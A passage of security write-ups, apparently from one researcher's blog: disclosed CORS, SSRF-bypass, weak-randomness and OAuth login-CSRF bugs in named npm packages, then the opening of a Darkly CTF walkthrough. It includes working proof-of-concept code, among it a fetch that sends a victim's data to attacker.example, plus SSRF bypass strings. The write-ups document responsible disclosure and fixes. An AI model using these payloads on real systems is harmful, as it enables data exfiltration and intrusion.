Any value works. The tenant is derived entirely from the session cookie; the header is a required-but-unvalidated formality. So an attacker's page doesn't need to know anything about the victim's workspace — it can hardcode 0 and the server will happily scope the response to whoever the cookie belongs to.

This is worth dwelling on, because "there's a custom header on it" is a common reason to abandon a CORS finding. A header requirement is only a control if the value is validated. Testing that assumption takes one request, and here it was the difference between "not exploitable" and "reads the victim's entire conversation history."

The same pattern held on the integrations endpoint, which returned third-party connection status for the account.

What was reachable

With those three properties combined, a page on a localhost origin could issue credentialed cross-origin reads and receive:

the victim's full private AI assistant conversation history
connection status for the account's third-party integrations
internal tenant and user identifiers

The proof of concept is unremarkable, which is rather the point:

fetch('https://api.[REDACTED]/[ai-assistant]', {
  credentials: 'include',
  headers: { 'App-Id': '0' }        // value never validated
})
  .then(r => r.json())
  .then(d => fetch('https://attacker.example/collect', {
    method: 'POST',
    body: JSON.stringify(d)
  }));

No exotic technique. The vulnerability is entirely in the response headers.

The severity, and why I got it wrong

I submitted this as High, CVSS 8.2. It was accepted as Low, and the reasoning was that exploitation requires the attacker to already have code running on the victim's machine — malware, or a malicious browser extension.

That's correct, and it's the most useful thing I took away from the report.

The reflected origin was localhost. Not attacker.com, not a wildcard, not a subdomain I could register — a loopback origin. To serve a page from a localhost origin in the victim's browser, an attacker must already be running something on the victim's machine: a local development server, a malicious extension, or malware. And an attacker with any of those has considerably better options available than reading conversation history through a CORS hole.

I had priced the finding on the sensitivity of the data. Private AI conversations feel like a High. But severity is dominated by the attacker's preconditions, not by how interesting the data is. A total leak of extremely sensitive data, gated behind "attacker already has code execution on the victim's machine," is a Low. That relationship doesn't bend no matter how good the impact paragraph reads.

I've since made a habit of pricing the precondition before writing the impact section. It changes what's worth submitting, and it stops reports reading as though they're arguing with the triager.

Why it wasn't auto-closed

Given the program excluded "CORS misconfiguration on non-sensitive endpoints," this could easily have been closed on the exclusion alone.

What I think kept it in scope was making the sensitivity argument explicitly and up front rather than assuming it was self-evident: naming what the endpoint returns, showing the data in the response, and stating plainly why this endpoint is not in the category the exclusion is aimed at. Triagers work through a queue; if a report requires them to reconstruct why an exclusion doesn't apply, the exclusion wins.

If your finding lands near an out-of-scope boundary, the report has to do that work. That's not padding — it's the actual argument.

The fix

The correct shape here is straightforward, and worth stating because the wrong fixes are tempting:

Replace reflection with a strict allowlist. The set of origins that legitimately need credentialed access to a first-party API is small, known, and rarely changes. Never echo Origin back when Access-Control-Allow-Credentials: true is set.
Don't ship development origins to production. localhost in an allowlist is a local-config concern; it should not survive into a production response. This is almost always how these get introduced — a developer adds it to unblock local work and it ships.
Tighten the session cookie. SameSite=Lax removes the credential half of the attack for top-level cross-site requests.
Make the header a real control or stop pretending it is one. If App-Id is meant to scope access, validate that the value belongs to the authenticated session. If it's routing metadata, that's fine — but then don't treat its presence as a security boundary.

Of these, (1) and (2) are the load-bearing ones — the rest are defence in depth.

Takeaways

Read the exclusion, not just the heading. "CORS on non-sensitive endpoints" is an invitation to find a sensitive one, not a blanket ban. The qualifier is where the scope actually lives.
A required header is not an access control until you've tested the value. One request tells you whether the server validates it or merely counts it. Here it was the difference between no finding and a full read.
Price the precondition before you write the impact. localhost reflection caps severity at Low no matter what's behind it, because the attacker needs code on the victim's machine first. Sensitivity does not lift that ceiling.
Two response headers are the whole vulnerability. Access-Control-Allow-Origin reflecting input and Access-Control-Allow-Credentials: true are individually unremarkable and jointly a data leak. Check them together, and check them on the API host, not the marketing site.

Disclosure

This write-up is published with the vendor's approval, fully anonymised at their request.

The vendor has confirmed that no exploitation of this issue occurred prior to my report, and that the issue was fully remediated before this write-up was published.

References

Reported by Youssef Aboukir (onevilx). Thanks to the vendor's security team for the quick triage and for permitting this write-up.

SSRF Denylist Bypass in ip-range-check

Wed, 05 Aug 2026 00:00:00 GMT

Advisory: GHSA-87xc-4hwr-pxf6 — Published CVE: Requested by the maintainer, pending assignment Package: ip-range-check (npm, ~390k downloads/week) Fixed in: v0.2.1 Class: CWE-918 — Server-Side Request Forgery (validator/connector disagreement) Severity: Moderate Affected Versions: <= 0.2.0 Status: Reported → independently re-verified → patched → published.

How I Got Here

This finding came out of a broader hunt for SSRF-guard bypasses, prompted by a simple observation: the ip npm package — one of the most widely used IP-utility libraries in the ecosystem — had already taken two separate CVEs (CVE-2023-42282, CVE-2024-29415) for the exact same shape of bug: an "is this a private IP" check that alternate representations of an address could slip past. If that bug class was real and had happened twice in the most popular library of its kind, the obvious next question was: which other, less-audited libraries doing the same job have the same gap and just haven't been looked at yet?

That's a search problem, not a guess. I started pulling in every mid-tier IP-range/SSRF-guard package I could find and testing them against the same style of payload.

The Sweep — What I Ruled Out First

Before landing on ip-range-check, I worked through several other candidates, and it's worth being honest about the ones that turned out to be dead ends, because ruling them out correctly is what made the eventual finding credible rather than a lucky first guess:

request-filtering-agent and ssrf-req-filter (both high-download, well-designed) — these resist the entire class of bypass I was testing, because they don't validate the string the caller supplies. They resolve the hostname first (via dns.lookup) and then check the resolved address. Feeding them 2130706433 or 127.1 doesn't help an attacker, because by the time the check runs, the library is looking at the canonical 127.0.0.1 either way. Good design, nothing to find there.
is-private-ip — this one did have a real, connect-verified bypass (several abbreviated forms slipped past its isNonPublicIp check). But it had roughly 28 downloads a week. A real bug in a library nobody uses isn't a useful CVE for anyone, so I didn't pursue it further.
ip, private-ip, netmask — already carried the CVEs that started this whole search. Nothing new to report.

That left a gap: I wanted a library that was (a) popular enough to matter, (b) not already carrying an advisory, and (c) actually validating the raw string rather than resolving first.

Landing on `ip-range-check`

ip-range-check fit all three: ~390,000 downloads/week, last published in 2022 with no existing security advisory, and — the detail that mattered — it doesn't resolve anything. It takes the caller's string directly and parses it itself, by delegating to ipaddr.js. Critically, it bundles its own copy of that dependency rather than relying on whatever version the host project has installed, which meant the parsing behavior wasn't necessarily current.

Reading the Source

The actual check is small:

function check_single_cidr(addr, cidr) {
    try {
        var parsed_addr = ipaddr.process(addr)
        // ... match parsed_addr against the CIDR ...
    }
    catch (e) {
        return false   // "not in range" == allowed, for a denylist
    }
}

That catch block is the whole bug, once you see it in context. ipRangeCheck(host, denylist) is meant to be used like this:

if (ipRangeCheck(host, PRIVATE_RANGES)) throw new Error('blocked')

false means "not in a private range" — which, for a denylist, means "allowed through." So any input the parser can't handle is treated the same as an input that's definitely public. That's backwards for a security check: an unparseable input should be the more suspicious case, not the safer one.

Building a Test Corpus, Not Just a Guess

Rather than hand-pick one weird string and hope, I built a small corpus of the classic IPv4 alternate-representation tricks and ran all of them through the library, with a canonical control (127.0.0.1, which must always be blocked) as a sanity check:

Full decimal integer: 2130706433
Full hex integer: 0x7f000001
Full octal integer: 017700000001
Abbreviated dotted forms: 127.1, 127.0.1
Mixed-radix forms: 0177.1, 127.0x1

The result was a genuine mix, which is what made it interesting rather than a blanket failure: the full decimal/hex/octal integer forms were correctly blocked. Only the abbreviated and mixed-radix forms slipped through:

127.1      -> ALLOWED (bypass)
127.0.1    -> ALLOWED (bypass)
0177.1     -> ALLOWED (bypass)
127.0x1    -> ALLOWED (bypass)

That split told me this wasn't a wholesale "the library doesn't work" situation — it was a specific parsing gap in the bundled ipaddr.js, which meant I needed to go verify what these strings actually do at the network layer, not just what the library thought of them.

Confirming These Are Real, Routable Addresses

A string a validator rejects is only interesting if something downstream still accepts it. I checked each bypassing form against Node's own resolver (dns.lookup) to confirm they weren't just malformed noise:

127.1      -> 127.0.0.1
127.0.1    -> 127.0.0.1
0177.1     -> 127.0.0.1
127.0x1    -> 127.0.0.1

All four resolve to loopback via the OS's own inet_aton-style parsing rules — the same rules http.get() and friends rely on. So the validator and the connector genuinely disagreed: the library said "can't parse this, must not be private," while the network stack said "this is definitely 127.0.0.1."

Making It Undeniable: A Connect-Verified PoC

A mismatch between a parser and a resolver is suggestive, but the thing that actually proves SSRF is a real socket connection reaching somewhere it shouldn't. I built a small harness that binds a real HTTP server to loopback, builds the exact kind of denylist guard a real application would write, and then drives real http.get() calls through the bypassing hosts:

const internal = http.createServer((_req, res) => res.end('INTERNAL-SECRET-DATA'))
await new Promise((r) => internal.listen(0, '127.0.0.1', r))

const guardAllows = (host) => !ipRangeCheck(host, PRIVATE_RANGES)

for (const host of ['127.1', '127.0.1', '0177.1', '127.0x1']) {
  if (!guardAllows(host)) continue   // would print "guard=BLOCKED"
  const body = await fetchVia(host, port)
  // body === "INTERNAL-SECRET-DATA"
}

Output:

Control - guard on canonical 127.0.0.1: allows=false (correctly blocked)
127.1      guard=ALLOWED  ->  fetch returned "INTERNAL-SECRET-DATA"   <== SSRF: reached internal service
127.0.1    guard=ALLOWED  ->  fetch returned "INTERNAL-SECRET-DATA"   <== SSRF: reached internal service
0177.1     guard=ALLOWED  ->  fetch returned "INTERNAL-SECRET-DATA"   <== SSRF: reached internal service
127.0x1    guard=ALLOWED  ->  fetch returned "INTERNAL-SECRET-DATA"   <== SSRF: reached internal service

The control (127.0.0.1) is correctly blocked in the same run, which matters — it proves the harness itself works and the bypass isn't an artifact of a broken test.

Being Honest About the Limits of the Bug

Before writing anything up, I checked how this behaves against the modern URL parser, because it directly determines how exploitable this actually is in a real application. The WHATWG new URL() parser canonicalizes 127.1 to 127.0.0.1 before an application would ever hand it to the guard — at which point the guard correctly blocks it. The bug only matters when the raw host string reaches both the guard and the connector unmodified: a raw user-supplied "host" field, or the legacy url.parse().hostname, which preserves 127.1 verbatim.

I put that limitation directly in the report rather than let it surface later. Understating a finding's practical reach costs nothing and buys credibility; overclaiming costs credibility the first time someone checks it themselves.

Precedent, One More Time

The last thing I did before writing the report was confirm this was the same bug class, not just a similar-looking one, as the two prior ip package CVEs (CVE-2023-42282, CVE-2024-29415) — both were about alternate IPv4 representations being misclassified as public. That precedent is what turns "I found a parsing quirk" into "this is a recognized, previously-paid vulnerability class that happens to have a fresh, unaudited instance here."

Writing and Sending the Report

ip-range-check had no SECURITY.md and no private vulnerability reporting enabled on GitHub, so I emailed the maintainer directly, with the full technical writeup — root cause, the four bypasses, the dns.lookup confirmation, the honest scope caveat about new URL(), the ip-package precedent, and the complete PoC script pasted inline (since I wasn't able to attach the .mjs file directly).

The Response

Daniel Compton didn't just take the report at face value — he independently re-verified every one of the four bypasses against Node's own dns.lookup() himself before doing anything else, confirming the resolution mismatch was real rather than trusting my numbers. Only then did he move to the fix.

The Fix

ip-range-check@0.2.1 upgrades the bundled ipaddr.js from 1.9.1 to 2.5.0, which parses these abbreviated and mixed-radix forms using the same inet_aton-style rules the OS resolver applies — closing the exact gap between validator and connector that caused the bypass. He also added a dedicated regression test suite covering this input class, and re-ran my original PoC against the patched version to confirm all four forms are now correctly blocked before publishing.

Disclosure Timeline

Reported privately by email (no SECURITY.md / private reporting available on the repo).
Maintainer replied, independently reproduced all four bypasses against dns.lookup(), confirmed the root cause in check_single_cidr().
Fix shipped as v0.2.1 with a dedicated regression suite; my PoC re-run and confirmed blocked against the patch.
Advisory published: GHSA-87xc-4hwr-pxf6, crediting "Youssef Aboukir (onevilx)."
CVE requested by the maintainer, pending assignment.

A fast, careful, independently-verified response — notable given this is a solo-maintained package with no dedicated security process, not a company with a security team on call.

Takeaways

A validator/connector disagreement is a durable, re-findable bug class. The specific strings change, but the shape — "the OS resolver accepts input the security check's parser rejects" — repeats across libraries, and precedent (the ip package's two prior CVEs) is a legitimate map for where to look next.
Ruling things out is part of the work. request-filtering-agent and ssrf-req-filter weren't vulnerable, and knowing why (resolve-then-check design) sharpened what to look for in the next candidate rather than wasting more time on already-hardened libraries.
A partial bypass is more convincing than a blanket one. The fact that full decimal/hex/octal forms were correctly blocked, while only the abbreviated forms leaked through, showed this was a specific, fixable parsing gap rather than "the whole library doesn't work" — which is both more credible and more useful to the maintainer trying to fix it.
State your own finding's limits before someone else does. Being upfront that this doesn't work through new URL() normalization didn't weaken the report — it's what made the parts that genuinely are exploitable land as credible rather than oversold.

References

GHSA-87xc-4hwr-pxf6 — this advisory
CWE-918 — Server-Side Request Forgery
CVE-2023-42282, CVE-2024-29415 — the identical bug class in the ip package

Reported by Youssef Aboukir (onevilx). Thanks to Daniel Compton for the careful, independent verification and fast fix on a project he's maintained solo for years.

Weak Randomness in @hono/oauth-providers

Mon, 03 Aug 2026 00:00:00 GMT

Advisory: GHSA-6833-cxmv-fqjf — Published CVE: No known CVE Package: @hono/oauth-providers (npm) Fixed in: v0.8.7 Class: CWE-338 — Use of Cryptographically Weak PRNG Severity: Moderate (CVSS 3.1 — AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:L/A:N) Affected Versions: <= 0.8.6 Status: Reported → confirmed → patched → published.

How I found it

OAuth libraries implement two values that are supposed to carry real cryptographic weight but are easy to generate carelessly if you're not thinking about it as a security primitive rather than "just a random string": the state parameter (the flow's anti-CSRF token) and, for providers using PKCE, the code_verifier. Both have hard requirements in their respective specs — state must be unguessable, and RFC 7636 explicitly requires the PKCE verifier to come from a cryptographically secure generator. Auditing how a library actually produces these values is a direct, mechanical way to check whether it's meeting that bar.

@hono/oauth-providers generates both in two small utility files, src/utils/getRandomState.ts and src/utils/getCodeChallenge.ts:

// getRandomState.ts — used by every provider
const rand = () => Math.random().toString(36).substr(2)
export function getRandomState() {
  return `${rand()}-${rand()}-${rand()}`
}

// getCodeChallenge.ts — X/Twitter provider's PKCE code_verifier
const length = Math.floor(Math.random() * (128 - 43 + 1)) + 43
// ...characters.charAt(Math.floor(Math.random() * characters.length))...

Both are built entirely on Math.random(). I confirmed this was present in the shipped 0.8.6 artifact across the following affected providers: google, github, discord, facebook, twitch, x, linkedin, msentra.

Why that's a real problem, not a style nitpick

Math.random() is not a cryptographically secure PRNG, and the gap isn't theoretical. V8 implements it as xorshift128+ — a fast, high-quality PRNG for simulations and games, but one whose internal 128-bit state is recoverable from a small number of observed outputs. Once that state is recovered, every subsequent output is deterministic, not random.

Two details make this specific to OAuth flows rather than a generic "don't use Math.random for security" note:

The generator is a single stream shared across every request handled by the same isolate — it isn't reseeded or scoped per-request.
Each authorization request leaks a fresh state value directly in the redirect URL — which is, by design, visible to whoever initiated that request.

Put together: an attacker able to sample enough outputs of the shared stream (by initiating their own OAuth flows against the same app and reading the state values they get back) can, in principle, predict state values issued to other concurrent requests on the same instance — defeating the exact protection the parameter exists to provide. On the X/Twitter provider, the identical weakness applies to the code_verifier, which is what would otherwise bind a callback to the browser that actually started the flow.

Confirming it wasn't just a description

Rather than argue this from the source alone, I built a small, self-contained proof that captures the exact Math.random() draws a single getRandomState() call consumes, and reconstructs the same token from nothing but those draws:

const rand = () => Math.random().toString(36).slice(2)
const getRandomState = () => `${rand()}-${rand()}-${rand()}`

const draws = []
const real = Math.random
Math.random = () => { const v = real(); draws.push(v); return v }

const token = getRandomState()
Math.random = real

const rebuilt = draws.map((d) => d.toString(36).slice(2)).join('-')

console.log('issued state token: ', token)
console.log('rebuilt from draws: ', rebuilt)
console.log('identical:', token === rebuilt)  // -> true

The token is a pure function of exactly three Math.random() outputs — no hidden entropy, nothing beyond what those three draws determine. That's the concrete demonstration that the value carries no more unpredictability than V8's PRNG state itself, which is the thing that's recoverable.

Honest scope

Two things worth stating plainly, both of which ended up in the maintainer's own published advisory:

Applications that supply their own state through the state option — available on googleAuth, msentraAuth, and twitchAuth — never reach the affected code path for that value. This is a library-default issue, not a universal one across every possible configuration.
Full exploitation is intricate. Recovering the generator's internal state and aligning that recovery with a concurrent request in time is a real, non-trivial attack, not a one-line exploit. The severity here comes from the weakness being unconditional (CWE-338 doesn't require proving a live attack to be real), and from the PKCE code_verifier case being a direct, unambiguous spec violation on its own — that half doesn't need a timing argument at all.

I'd rather a report undersell exploitability slightly than have someone else find the gap in a claim later; both of those caveats went into the original disclosure exactly as written above.

Suggested fix

export function getRandomState() {
  return crypto.randomUUID() + crypto.randomUUID()
}

function generateRandomString() {
  const bytes = crypto.getRandomValues(new Uint8Array(64))
  return base64URLEncode(String.fromCharCode(...bytes))
}

crypto.getRandomValues() and crypto.randomUUID() are available across every runtime this library targets — Workers, Deno, Bun, and Node 18+ — so there's no platform reason the weak generator was necessary.

Reporting it

honojs/middleware had no SECURITY.md and no private vulnerability reporting enabled at the time, so I emailed the maintainer, Yusuke Wada, directly with the technical breakdown, the affected code, the deterministic-reconstruction PoC, and the suggested fix — plus one smaller, secondary note: the X provider was setting its state and code-verifier cookies without the Secure attribute (commented out in the source), which would allow them to be transmitted over plaintext HTTP.

Before submitting this report, I explicitly checked if this overlapped with Yusuke's recent advisory on the same repo (GHSA-fm3f-ch8h-qw8q: "state check fails open on omitted state"). In the email, I made a point of distinguishing the two: while the prior advisory dealt with the check failing when state was omitted, my report was strictly about the cryptographic weakness of the generated randomness itself, which was still fully present in version 0.8.6.

The response

Yusuke replied quickly, asked for my GitHub username so he could credit me directly as reporter, and published GHSA-6833-cxmv-fqjf shortly after — Moderate severity, CWE-338, fixed in 0.8.7. The published advisory's language on impact and the exploitation caveat matches what was in the original report closely, which is a good sign the technical substance came through cleanly rather than getting compressed or softened in translation.

Disclosure timeline

Reported by email — no SECURITY.md on the repo at the time.
Same-day reply from Yusuke; GitHub username exchanged for credit.
Advisory published: GHSA-6833-cxmv-fqjf, fixed in v0.8.7.
CVE: Unassigned. The vulnerability was published exclusively as a GitHub Security Advisory (GHSA), consistent with the maintainer's approach to prior advisories on this project.

Takeaways

Randomness generation is worth auditing directly, not just trusting. getRandomState / getCodeChallenge-style utility functions are exactly the kind of small, easy-to-overlook file where "just use Math.random(), it's just a string" slips in, even in an otherwise well-built library.
A deterministic-reconstruction PoC is a clean way to prove weak entropy without needing to build out the full state-recovery attack — showing a token is a pure function of a handful of Math.random() outputs is enough to demonstrate the weakness is real, even while being honest that the full attack chain is more involved.
A CVE is not the only metric of impact. A published, credited advisory (like a GHSA) provides concrete evidence of the vulnerability and the research, regardless of whether a CVE ID is assigned.

References

GHSA-6833-cxmv-fqjf — this advisory
RFC 6749 §10.12 — the state parameter and CSRF
RFC 7636 §7.1 — PKCE code_verifier generation requirements
CWE-338 — Use of Cryptographically Weak PRNG

Reported by Youssef Aboukir (onevilx). Thanks to Yusuke Wada for the fast response and for approving this writeup.

OAuth Login-CSRF in Nuxt-Auth-Utils

Mon, 03 Aug 2026 00:00:00 GMT

Advisory: GHSA-xc49-mgwh-9pjv — Published CVE: Requested by the maintainer, pending assignment Package: nuxt-auth-utils (npm, ~100k downloads/week) Fixed in: v0.5.30 Class: CWE-352 — Cross-Site Request Forgery (OAuth login-CSRF) Severity: Moderate (CVSS 3.1 5.4 — AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N) Affected: <= 0.5.29 Status: Reported → confirmed → patched → published, all within 24 hours.

How I got here

The hunt was deliberate rather than random: instead of auditing framework cores — which tend to be the most heavily reviewed part of any ecosystem — I went looking one layer out, in the auth, session, and OAuth utility packages that plug into newer or adjacent frameworks. These packages frequently implement their own security-sensitive logic (token generation, session handling, CSRF protection) rather than delegating to something already hardened, and they get a fraction of the scrutiny the frameworks themselves do.

The sweep

I pulled in a batch of candidates from that space: hono-sessions, elysia-oauth2, remix-auth-oauth2, @auth/core, iron-session, hono-rate-limiter, @hono/oidc-auth, svelte-kit-cookie-session, nuxt-auth-utils, and a few others — and grepped all of them for two things: Math.random() showing up anywhere near a token/state/session/secret, and non-constant-time comparisons on anything security-relevant.

One early candidate looked promising: hono-sessions had a hash !== hash(this.cache) comparison that was worth a second look. It turned out to be a dirty-check for change detection, not a security comparison — the actual session encryption used Iron (authenticated encryption) and crypto.randomUUID() for IDs. A legitimate dead end, and worth ruling out properly rather than assuming.

nuxt-auth-utils is where something real turned up — and it's worth being precise that this is the Nuxt/UnJS ecosystem, not Hono; a different project entirely, just found via the same search method.

What the library does right

nuxt-auth-utils ships one OAuth handler per identity provider — 48 of them — and a shared CSRF helper, handleState():

export async function handleState(event: H3Event) {
  const query = getQuery<{ state?: string }>(event)
  if (query.state) {
    const state = getCookie(event, 'nuxt-auth-state')
    deleteCookie(event, 'nuxt-auth-state')
    return state
  }
  const state = encodeBase64Url(getRandomBytes(8))
  setCookie(event, 'nuxt-auth-state', state, {
    httpOnly: true, secure: !isDevelopment, sameSite: 'lax',
    maxAge: OAUTH_COOKIE_MAX_AGE, path: '/',
  })
  return state
}

This is a correctly-designed CSRF mechanism — cryptographically random, bound to an httpOnly cookie, compared on callback. Nothing wrong with the primitive itself.

The pattern that gave it away

The method that actually surfaced this wasn't reading one file closely — it was auditing all 48 provider files for a simple, mechanical question: does this provider call handleState(), and does it compare query.state !== state on the callback?

PROVIDER    handleState  stateCheck  VERDICT
github      yes          yes         protected
google      no           no          VULNERABLE
discord     no           no          VULNERABLE
...

When a library implements the same security-sensitive flow dozens of times, the files that behave differently from the rest are where the bugs hide. This was about as stark a signal as that pattern gets: 13 protected, 35 unprotected.

Root cause, side by side

Protected (GitHub):

const state = await handleState(event)
if (query.state !== state) {
  return handleInvalidState(event, 'github', onError)
}

Vulnerable (Google, and 34 others):

if (!query.code) {
  return sendRedirect(event, withQuery(config.authorizationURL, {
    state: query.state || '',  // echoes caller input, NOT a stored token
  }))
}
const tokens = await requestAccessToken(config.tokenURL, { body: { grant_type: 'authorization_code', code: query.code, ... } })
return onSuccess(event, { tokens, user })  // no state check at all

state: query.state || '' looks superficially similar to real CSRF protection, but it's cosmetic — it echoes whatever the caller happened to pass, never a value bound to the session.

Ruling out "maybe this was intentional"

Before writing this up, I checked the repo's git history rather than assume the gap was a design choice: no commit anywhere ever added handleState() to Google, Discord, or the other 34 providers — they never had it, from whenever each was added to the library. Combined with 13 other providers doing it correctly, that closes off the obvious defense ("the app is supposed to handle this itself") — the library clearly intended uniform protection and simply missed most providers.

Affected (35): apple, atlassian, auth0, authentik, battledotnet, cognito, discord, dropbox, facebook, gitea, gitlab, google, hubspot, instagram, keycloak, kick, line, linear, linkedin, livechat, microsoft, paypal, polar, roblox, seznam, spotify, steam, strava, tiktok, twitch, vk, workos, xsuaa, yandex, and shopifyCustomer (a distinct sub-bug: it sets the state cookie but never actually compares it on callback).

Precedent

I checked whether this specific bug class had prior art before reporting it. It has: fastapi-sso received CVE-2025-14546 for the identical pattern — generating a state value but never persisting or verifying it against a trusted local value on the callback.

Impact

Missing state validation removes CSRF protection from the entire login flow: an attacker starts an OAuth flow themselves, obtains an authorization code bound to an identity they control, then gets the victim's browser to hit the application's callback URL carrying that code. With no state check, the app signs the victim in as the attacker's identity — or, in account-linking flows, links the attacker's identity to the victim's account.

Building a real PoC, not a description

The first version of this report described the attack conceptually. When I stress-tested my own claim — "is this PoC actually bulletproof?" — the honest answer was no: I hadn't demonstrated anything running, just argued from source code. So I built an executable differential test that loads the real, unmodified google and github handlers from the installed package, points them at a mock OAuth server, and fires an attacker-forged callback (stolen code, attacker-chosen state, no valid nuxt-auth-state cookie) at both:

GOOGLE  provider: {"outcome":"onSuccess","user":"attacker@evil.test","token":"ATTACKER_ACCESS_TOKEN"}
  => CSRF SUCCEEDED: onSuccess ran with attacker identity, NO state validation.
GITHUB  provider: {"outcome":"onError","message":"Github login failed: state mismatch"}
  => Correctly REJECTED (state mismatch).   [control]

The differential is the actual proof: the identical forged request is accepted by Google's real handler and rejected by GitHub's real handler — running the library's own code, not a description of what it should do. (The OAuth provider itself is mocked, so it isn't a real Google authorization code; in a live attack the attacker would supply a genuine one bound to their own account. What the PoC demonstrates — the missing check itself — is the vulnerability.)

Reporting it

The repo had no SECURITY.md and no private vulnerability reporting enabled, so I emailed the maintainer directly with the full technical breakdown, the 13-vs-35 provider split, the executable PoC, and the fastapi-sso precedent.

The response

Sébastien Chopin — Nuxt's creator — replied within the hour. He enabled private advisory reporting on the repo specifically so I could open the GHSA myself and be credited directly as reporter, and started on a fix the same day.

Reviewing the fix

The patch he shipped went further than the minimum: it routed every provider through handleState(), handled the two genuinely tricky edge cases correctly (Apple's form-post callback, which reads state from the POST body rather than the query string, and Steam's OpenID 2.0 flow, detected via openid.claimed_id), prevented a caller-configured state from overriding the generated one, fixed cookie cleanup paths, added a Google-specific regression test mirroring my PoC, and — the part I'd call out specifically — added an invariant test across all 48 providers that fails CI if any provider, present or future, ships without handleState() and the state comparison. I reviewed the PR in full, checked it against the affected-provider list, and confirmed nothing was missed before approving it.

Disclosure timeline

Day 1 — Found the 13-vs-35 split, verified it against git history, built the differential PoC, reported by email.
Same day — Sébastien replied within the hour, enabled advisory reporting, had me open GHSA-xc49-mgwh-9pjv.
Same day — Fix PR opened covering all 48 providers with regression and invariant tests; reviewed and approved.
Day 2 — Shipped as v0.5.30, advisory published, CVE requested. The release notes: "Thanks to @onevilx for responsibly reporting this vulnerability."

Takeaways

Auditing for consistency finds bugs that reading one file at a time doesn't. The signal here wasn't "this code looks wrong" — it was "this file does something 34 others don't."
A security control that exists but isn't wired everywhere is still a vulnerability, not a partial mitigation. The library had a correct CSRF mechanism; most providers just never called it.
If you doubt your own PoC, build a stronger one. The first version of this report was a description. Pressure-testing it into an executable differential test is what made the finding land cleanly and fast.
The best fix isn't just the patch — it's the invariant that prevents the next regression.

References

GHSA-xc49-mgwh-9pjv — this advisory
RFC 6749 §10.12 — CSRF and the state parameter
CWE-352 — Cross-Site Request Forgery
CVE-2025-14546 — the same class in fastapi-sso

Reported by Youssef Aboukir (onevilx). Thanks to Sébastien Chopin for the fast, professional turnaround.

Darkly v2 - Introduction to OWASP

Sun, 02 Aug 2026 00:00:00 GMT

Complete Repository: onevilx/darkly Target Stack: FastAPI 0.104 / uvicorn 0.24 / Python 3.11 · PocketBase 0.22.4 backend Environment: 1337 School (42 Network) Findings: 10/10 Flags Recovered (6 Mandatory + 4 Bonus) · 19/19 Vulnerabilities Identified (10 Mandatory + 9 Bonus), plus one cross-cutting design-level write-up

Reading note: this article is a narrative highlight reel — the story of how each flag fell, told for readers rather than evaluators. It compresses and re-orders some of the raw exploitation steps for pace. Every exploit script, full technical explanation, flag, and screenshot lives in the onevilx/darkly repository — that's the complete, evaluation-grade write-up.

Every web developer eventually inherits an application that "works." It authenticates users, it renders forums, it uploads avatars, it resets passwords. The forms submit, the pages load, the demo passes. And yet, sitting silently beneath that functioning surface, is an entire second application — the one an attacker sees. Where the developer sees a profile page, the attacker sees an object reference they can increment. Where the developer sees an avatar uploader, the attacker sees a path to arbitrary code execution. Where the developer sees a helpful password hint, the attacker sees an unsalted MD5 hash begging to meet rockyou.txt.

Darkly is the 42 Network's deliberate exercise in learning to see that second application. It is a purpose-built, intentionally vulnerable web platform — a fictional campus portal with a forum, an agenda, a grade viewer, a newsletter, and a staff area — seeded with, per the project subject, 19 distinct vulnerabilities hiding 10 flags. The subject splits the hunt in two: the mandatory part asks for 6 flags (4 won by escalating privilege inside the app step by step until reaching administrator, 2 more of your choice) across 10 explained vulnerabilities, and the bonus part, gated on a perfect mandatory score, asks for 4 additional flags (10 total) across 5 more vulnerabilities, at least one of which mints no flag at all. The mission itself is uncompromising and narrow: the target is the web application, and nothing else. No decompiling the VM, no attacking the operating system, no shortcuts through the appliance. The whole point of Darkly is to exploit the website the way a real adversary would — from the outside, one HTTP request at a time.

This article is an exhaustive walkthrough of that engagement: the reconnaissance, the six mandatory flags and four bonus flags I recovered (ten in total), the ten additional OWASP-class weaknesses I documented for the bonus, and the way individual bugs chain into a full authentication bypass.

1. Reconnaissance: Reading the Application Like an Attacker

The platform greets an unauthenticated visitor as a guest. There is a sign-in form, a forum, an agenda, and various campus links — all the surface area of a normal portal. The first instinct of a defender is to log in. The first instinct of an attacker is to catalogue what is reachable without logging in, and to read every byte the server volunteers for free.

The obvious starting point is robots.txt. It is a confession dressed as a courtesy: a file whose entire purpose is to name the endpoints the operator wishes you would not visit. Darkly's robots.txt disallows a set of high-value paths — some forbidden (403), some redirects, some 404s — but one of them, /api/grades, is simply public when it should not be. That single misconfiguration becomes flag #5 later; for now it goes in the notebook.

The second discipline of recon is reading the HTML source, the response headers, and the deploy log. Darkly is generous here in a way that mirrors real applications far more than students expect. The pages carry:

x-powered-by: Python/3.11 FastAPI/0.104 and server: uvicorn/0.24.0 — a precise stack fingerprint.
x-pocketbase: http://localhost:8090 — a signpost pointing directly at the backend datastore.
An HTML-comment "deploy log" on every page, in which the developers cheerfully admit their sins: "disabled defusedxml temporarily," "added telemetry (it's just a console.log)," "migrate session cookie to httponly=true — ticket #4201."

Those comments are not flavour text. Each one is a root cause narrated by the very team that introduced it. defusedxml temporarily disabled is the XXE (flag #7). httponly not yet migrated is why stored XSS can steal a session cookie (flag #3). An attacker who reads the developers' own words has, in effect, been handed the threat model. The lesson lands before a single exploit fires: your application talks, and it does not know how to keep a secret.

2. Flag #1 — Broken Access Control (IDOR): "Your Profile Is Mine"

Broken Access Control tops the OWASP Top 10 for a reason — it is the most common, the most impactful, and the easiest to introduce by accident. It is what happens when the server checks whether you are authenticated but forgets to check whether you are authorised for this specific object.

Browsing the forum as a guest, I followed a "scheduled maintenance" post to a View Profile link. That link led to another user's profile — internal data, visible to an unauthenticated visitor. There was no ownership check between the requester and the resource. The profile even carried a private note captioned "Only visible to wil" — visible, of course, to me.

FLAG{1d0r_ur_pr0f1l3_1s_m1n3}

Insecure Direct Object Reference (IDOR) is the concrete shape of Broken Access Control here: the object identifier in the URL is trusted, and whoever holds it is served. Access control must be enforced server-side, per object, on every request — never inferred from the mere possession of a link or an ID. This single class of flaw recurs throughout Darkly, and in the real world it recurs throughout the industry.

3. Flag #2 — Account Takeover → Unrestricted File Upload

With guest-level surface exhausted, the natural pivot is authentication. The forum contains a student publicly complaining that he still hasn't changed his password — and, thanks to the same profile exposure from §2, his email address is readable. Two of the three ingredients for account takeover are already on the table.

